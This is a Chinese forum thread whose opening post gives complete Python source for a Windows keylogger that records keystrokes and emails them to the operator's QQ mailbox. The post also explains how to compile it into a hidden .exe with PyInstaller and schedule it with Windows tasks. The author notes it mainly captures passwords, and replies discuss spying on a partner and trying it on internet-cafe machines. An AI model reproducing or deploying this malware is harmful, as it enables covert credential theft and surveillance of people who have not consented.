woaipojiejiejie 发表于 2024-2-27 00:47

windows键盘监听

本帖最后由 woaipojiejiejie 于 2024-2-27 00:57 编辑

可以记录键盘键入的键位,并且发送给特定邮箱
本人要出借电脑给别人,为了防一手就想记录键盘行为,然后写到一半突然发现可以写一个键盘监听软件出来,所以就搞了个这个出来
免责声明:用于非法行为本人无关{:1_932:}
效果展示,enter或者鼠标点击时,并且记录长度大于10(可以自行修改long变量来修改记录长度)时触发发送邮件
https://s11.ax1x.com/2024/02/27/pFdiQJJ.png

https://static.52pojie.cn/static/image/hrline/4.gif
使用方法

第一步:
将代码中的email变量填入自己的qq邮箱
然后password填入授权码,授权码获取如下列图片
https://s11.ax1x.com/2024/02/27/pFdindU.png
https://s11.ax1x.com/2024/02/27/pFdiZLV.png
https://s11.ax1x.com/2024/02/27/pFdimZT.png

第二步:
然后python启动
下列代码打包成.py文件
import smtplib
import pynput
from pynput.keyboard import Key, Listener
from pynput import keyboard, mouse
from email.mime.text import MIMEText

email = ""
password = ""
server = smtplib.SMTP("smtp.qq.com", 587)
server.ehlo()
server.starttls()
server.login(email, password)
message =""
name="52pj\n"
long=10
def on_mouse_click(x, y, button, pressed):
    global message
    global long
    if pressed:
      if len(message) >= long:
            send()
            message = ""
def on_keyboard_press(key):
    global message
    global long
    global name
    temp = f"{key}"
    if temp == '\'':
      temp = temp
    else:
      temp=" "+temp+" "
    if key == Key.enter:
      if len(message) >= long:
            send()
            message =""
    elif key == Key.backspace:
      message=message[:-1]
    elif len(temp)==1:
      message+=temp
def send():
    msg = MIMEText(name + message)
    msg["From"] = email
    msg["To"] = email
    msg["Subject"] = name
    server.sendmail(
      email,
      email,
      msg.as_string()
    )

keyboard_listener = keyboard.Listener(on_press=on_keyboard_press)

mouse_listener = mouse.Listener(on_click=on_mouse_click)

keyboard_listener.start()
mouse_listener.start()

keyboard_listener.join()
mouse_listener.join()

记得pip install 依赖包

第三步:
然后pip install pyinstaller
在cd到之前.py的文件夹
执行Pyinstaller -F -wkeylogger.py(你自己取的名字)
就可以在dist文件夹找到.exe文件,就可以运行了
之后可以自己配合windows计划任务食用更佳

woaipojiejiejie 发表于 2024-2-27 14:16

忘记说了,要是要停止的话要从任务管理器
https://s11.ax1x.com/2024/02/27/pFdMmeH.png

huhello 发表于 2024-3-25 15:01

哈哈,我之前也写过一个,但是大大们不给上传,不过楼主这个占用内存有点高,能明显感觉到鼠标和键盘的反应有不太流畅的情况,还是可以优化一下的,还可以加一个记录鼠标的坐标,后面可以用坐标编写一个辅助工具,来还原当时的操作路径。

safe-夏天 发表于 2024-2-27 15:38

实不相瞒,想用来监控一下身边亲近的人,防止老王{:301_998:}

bazyu 发表于 2024-2-27 13:11

谁能帮我直接代码搞完打包

woaipojiejiejie 发表于 2024-2-27 14:11

bazyu 发表于 2024-2-27 13:11
谁能帮我直接代码搞完打包

要是放心给邮箱和授权码的话,我可以帮你{:1_932:}

Pojawa 发表于 2024-2-27 18:33

其实不太用担心被用于非法行为,毕竟生成的二进制程序如果不主动加白名单,各杀软一杀一个准{:1_905:}

woaipojiejiejie 发表于 2024-2-27 20:32

Pojawa 发表于 2024-2-27 18:33
其实不太用担心被用于非法行为,毕竟生成的二进制程序如果不主动加白名单,各杀软一杀一个准

我的火绒怎么好像没有反应{:1_932:}

woaipojiejiejie 发表于 2024-2-27 20:34

safe-夏天 发表于 2024-2-27 15:38
实不相瞒,想用来监控一下身边亲近的人,防止老王

那可能需要改改,我这个主要抓取密码{:301_998:}

Misaeng 发表于 2024-2-29 15:32

这就去我家网吧电脑上试试{:301_986:}

Jokerboxs 发表于 2024-2-29 20:25

感谢分享 学习了
页: [1] 2 3
查看完整版本: windows键盘监听